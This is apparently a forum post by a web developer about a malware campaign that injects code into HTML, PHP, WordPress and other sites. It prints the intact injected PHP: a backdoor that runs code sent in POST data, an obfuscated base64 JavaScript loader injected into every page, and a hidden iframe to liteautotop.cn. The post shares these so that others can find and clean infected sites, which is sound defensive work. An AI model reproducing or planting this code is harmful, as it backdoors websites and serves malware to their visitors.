Well let’s see now…
So far today, I’ve fixed sites hosted on Siteground, Godaddy, Rackspace and a couple other small isps.
I’ve been dealing with the same type of thing for a little while now on a site hosted by a small isp using IIS, but the rest are Apache.
Both cPanel and Plesk may be involved.
Sites have been straight html, straight php (no CMS), EE, WordPress and Textpattern.
On straight html and php “non-function” files, the index.html/php have an iframe written to them immediately after the body opening tag. It’s usually has “liteautotop.cn” as its src attribute.
On files that consist of functions only the closing php tag is removed and the last function is “closed” with the iframe html. Which of course throws a fatal error.
I’ve “cleaned” all the sites I’ve found so far, but here’s a site that we haven’t started the EE part yet: http://www.gorillawebstudio.com/index.php (hosted on Siteground)
Here’s the “infection” with the php tags removed:
if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihiZVh1Yyl7dmFyIE5tYj0nJSc7dmFyIHJrUz0oJ3ZhIjcyIjIwYSIzZCIyMlNjcmlwdEVuZ2luZSIyMiIyY2IiM2QiMjJWIjY1IjcycyI2OW9uKCkrIjIyIjJjaiIzZCIyMiIyMiIyY3UiM2RuIjYxIjc2IjY5Z2EiNzRvciIyZXVzZXJBZ2UiNmV0IjNiaWYiMjgodSIyZSI2OW4iNjRleE8iNjYoIjIyV2luIjIyKSIzZTApIjI2IjI2KHUiMmVpbmRleCI0ZiI2NigiMjJOIjU0IjIwNiIyMiIyOSIzYyIzMCkiMjYiMjYoIjY0b2N1bSI2NW50IjJlYyI2ZiI2ZmtpZSIyZWluIjY0ZXhPZigiMjJtaWVrIjNkMSIyMiIyOSIzYzAiMjkiMjYiMjYoIjc0eXBlbyI2Nih6cnZ6dHMpIjIxIjNkIjc0eXBlb2YiMjgiMjIiNDEiMjIpKSIyOSI3YnoiNzIiNzZ6dCI3MyIzZCIyMkEiMjIiM2IiNjV2YWwoIjIyIjY5Zih3aW5kb3ciMmUiMjIrYSIyYiIyMilqIjNkIjZhKyIyMithIjJiIjIyTWEiNmFvciIyMitiIjJiIjYxIjJiIjIyTSI2OW4iNmZyIjIyIjJiYithIjJiIjIyIjQydSI2OWxkIjIyK2IrIjIyaiIzYiIyMikiM2Jkb2N1bWUiNmV0IjJldyI3MmkiNzRlIjI4IjIyIjNjIjczIjYzIjcyaXB0IjIwc3JjIjNkIjJmIjJmIjY3dW1ibGFyIjJlIjYzbiIyZnJzcyIyZiIzZmkiNjQiM2QiMjIraisiMjIiM2UiM2MiNWMiMmZzY3JpcHQiM2UiMjIpIjNiIjdkJykucmVwbGFjZShiZVh1YyxObWIpO2V2YWwodW5lc2NhcGUocmtTKSl9KSgvIi9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#[removed]#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos;($v,'[removed]')))$s=str_replace($v,'',$s);}$s1=preg_replace('#[removed]<!-- \ndocument\.write\(unescape\(.+?\n -->[removed]#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();
http://www.gorillawebstudio.com/index.html (the placeholder) had
<iframe src="http://liteautotop.cn/ts/in.cgi?mozila" width=2 height=4 style="visibility: hidden"></iframe>
after the body tag.
You might also look at the source of http://www.gorillawebstudio.com/themes/ (turn on your virus protection!) to see what’s happening to the index.html files. (Same as the placeholder file.)